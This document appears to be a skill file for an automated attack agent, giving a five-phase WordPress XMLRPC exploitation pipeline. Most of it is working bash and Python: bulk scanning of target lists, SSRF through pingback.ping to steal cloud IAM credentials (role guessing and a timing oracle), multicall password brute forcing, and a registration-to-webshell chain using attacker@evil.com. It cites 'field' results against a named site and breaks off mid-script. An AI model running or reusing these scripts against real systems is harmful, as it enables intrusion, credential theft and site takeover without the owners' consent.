- name
- xmlrpc-exploitation
- description
- Exploit XMLRPC multicall, pingback for brute force and SSRF.
- version
- 1.1.0
- revision_date
- 2026-07-25T00:00:00.000Z
- license
- MIT
- platforms
- ["linux"]
- compatibility
- Requires curl, python3
- tags
- ["recon","xmlrpc","wordpress","brute-force","SSRF","RCE"]
- category
- recon
- related_skills
- ["wp-mass-recon","cors-credential-wordpress","phpinfo-to-rce","cross-attack-chains","wordpress-full-compromise","port-service-discovery","error-log-mining"]
# XMLRPC Exploitation Skill
5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via `pingback.ping`, amplified brute force via `system.multicall` (1000x amplification), and RCE via `wp.uploadFile` when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.
## When to Use
- `wp-mass-recon` detected XMLRPC returning HTTP 200 on POST.
- Target has WordPress with open registration (chain: upload → webshell → RCE).
- Need a brute-force amplification vector for WordPress credentials.
- Probing for internal SSRF via `pingback.ping` to cloud metadata endpoints.
## Prerequisites
- `terminal` with curl.
- Target has confirmed XMLRPC endpoint (`/xmlrpc.php` returns 200 on POST with `demo.sayHello`).
- For RCE chain: target must have open registration or another file upload path.
- For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.
## How to Run
```bash
# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
sleep 0.3
done < targets.txt
# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
```
## Quick Reference
| Method | Capability | Severity |
|--------|-----------|----------|
| `demo.sayHello` | Confirms XMLRPC is alive | Info |
| `system.listMethods` | Enumerate all available methods | Info |
| `system.multicall` | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
| `pingback.ping` | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
| `wp.getUsers` | Enumerate WordPress users | Medium |
| `wp.getPosts` | List published posts | Low |
| `wp.uploadFile` | Upload file to media library | Critical — webshell when combined with open reg |
| `wp.getOptions` | Read WordPress options (siteurl, admin_email) | Medium |
| `wp.getPostStatusList` | Get post statuses | Low |
## Procedure
### Phase 1 — Bulk Detection
```bash
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
```
### Phase 2 — Method Enumeration
```bash
TARGET="$1"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
```
Key methods to look for: `system.multicall`, `pingback.ping`, `wp.uploadFile`, `wp.getUsers`, `wp.getOptions`.
### Phase 3 — SSRF via pingback.ping
```bash
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
```
If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include `Accept-Encoding: identity` to avoid LiteSpeed gzip):
```bash
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
sleep 0.5
done
```
`faultCode 0` on a pingback to an internal address confirms the request reached the target. `faultCode 17` or `32` means blocked or unreachable.
### Phase 3b — Blind SSRF Data Extraction via Timing Oracle
When `pingback.ping` returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use **timing differences** to extract data character-by-character or enumerate IAM roles.
**How it works:** The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.
**IAM Role Enumeration:**
```python
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
```
**From field (retail.example.com, June 2026):**
- IMDS `/meta-data/`: 344ms (large response — list of paths)
- IMDS `/iam/security-credentials/`: 435ms (very large — IAM role listing)
- IMDS `/instance-id`: 301ms (small — short string)
**Pitfall:** Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.
### Phase 4 — Amplified Brute Force (system.multicall)
`system.multicall` allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ `wp.getUsers` calls with different credentials, giving 1000x amplification over sequential requests.
```bash
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
```
A successful auth in the response will show user data instead of `faultCode 403`.
### Phase 5 — RCE via Open Registration + wp.uploadFile
If the target has open registration AND XMLRPC with `wp.uploadFile`:
```bash
TARGET="$1"
# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
Auf GitHub ansehen